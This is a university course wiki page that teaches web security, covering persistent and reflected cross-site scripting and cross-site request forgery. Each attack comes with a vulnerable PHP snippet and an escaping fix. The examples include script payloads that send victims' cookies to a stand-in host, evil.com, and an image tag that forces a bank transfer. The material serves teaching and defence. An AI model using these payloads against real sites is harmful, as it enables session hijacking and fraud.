Web Application Security, Part 1

From CSE330 Wiki
Revision as of 09:12, 16 August 2012 by Shane (talk | contribs)
Jump to navigationJump to search

Application-level web security is of increasing concern among web developers. This article outlines some types of security threats to your web application and how to solve those threats.

This is Part 1 of the Web Application Security article, geared toward the material covered in Module 2. For material covered in Module 3 (MySQL), see Web Application Security, Part 2. For material covered in Module 4 (JavaScript), see Web Application Security, Part 3.

Introduction to Application-Level Web Security

Every day, computer hackers around the world penetrate web applications, often for personal profits. You may find it hard to believe, but even high-profile web sites (banks, social media, even computer security companies) are vulnerable to application-level attacks!

Not only is it embarrassing to be "the one" who wrote the vulnerable code, but it could also cost you your job. As a prudent web developer, it's imperative that you take precautionary measures to make your application difficult to penetrate. Indeed, most of the time, if your site is well-written, hackers will just move on.

Here's the golden rule: Anything in your site that accepts user input, whether via a form, an AJAX request, a file upload, or even malformed links, can be used as an attack vector. NEVER TRUST USER INPUT!!! This can be summarized in the acronym FIEO, or Filter Input, Escape Output.

Cross-Site Scripting

TODO: Move this to Part 3.

Cross-Site Scripting, or XSS, is when an attacker targets an area of your application in which user-supplied input is included in application output. The attacker may use JavaScript to read confidential information and send it to his/her own servers.

There are two types of XSS attacks: persistent and reflected.

Persistent XSS

Persistent XSS occurs when a web site stores input in a database and displays it to victims later. A common vector for Persistent XSS are forum posts or shoutboxes.

For example, consider this code:

<?php

$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");

while($row=$res->fetch_assoc()){
	echo "<p>".$row["content"]."</p>\n";
}

?>

In this example, content from the database is displayed verbatim to the end user. This is vulnerable to a Persistent XSS attack. Suppose the attacker typed the following code into the shoutbox:

How 'bout them Cardinals! <script> new Image().src = "http://www.evil.com/record_cookie?"+document.cookie; </script>

The victim would just see "How 'bout them Cardinals!", and everything would seem fine. However, the shout is also executing JavaScript code that sends the contents of the victim's cookies on your site to the attacker! The attacker can now hijack the victim's session and do bad things.

To solve this problem, you need to escape the output. In PHP, you can do this using the htmlentities() function:

<?php

$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");

while($row=$res->fetch_assoc()){
	$safe = htmlentities($row["content"]);
	echo "<p>".$safe."</p>\n";
}

?>

Now, the script would appear as text to the user, and it will not execute. This Persistent XSS threat has been put to rest!

Reflected XSS

Reflected XSS is when a web page accepts input and then displays it immediately as output (without the database intermediate). A common vector for Reflected XSS attacks are search queries.

For example, consider the code:

<nowiki>
<?php

echo "<h1>Transaction History for: " . $_GET['username'] . "</h1>\n";

?>
</nowiki>

This is vulnerable to a Reflected XSS attack. The attacker could trick the victim into visiting this link:

http://www.bank.com/history.php?username=mothergoose+%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2Fwww.evil.com%2Frecord_cookie%3F%22%2Bdocument.cookie%3B%3C%2Fscript%3E

In some ways, this is more mysterious than Persistent XSS, because it's not clear what's going on. But this is the code that will be displayed on the page:

<h1>Transaction History for: mothergoose <script>new Image().src="http://www.evil.com/record_cookie?"+document.cookie;</script></h1>

Aye yie yie! To fix this, we again need to escape output:

<nowiki>
<?php

$safe_username = htmlentities($_GET['username']);

echo "<h1>Transaction History for: " . $safe_username . "</h1>\n";

?>
</nowiki>

And now our Reflected XSS vulnerability has been put to rest.

Real-Life Examples

Cross-Site Request Forgery

A cross-site request forgery involves a victim, who is logged in to the targeted site, visiting an attacker’s site. The attacker has code on his site that forces the victim to unwittingly perform actions on the targeted site.

For example, suppose Mother Goose visited Dr. Evil's blog. Dr. Evil had the following tag embedded in his bloc:

<img src="http://www.bank.com/transfer.php?dest=dr-evil&amount=5000" />

Worse yet, Dr. Evil could just send an e-mail to Mother Goose with this image tag. All Mother Goose would need to do to be attacked is open the e-mail! (Now you know why sometimes your e-mail client turns off images from suspicious sources.)

Real-Life Examples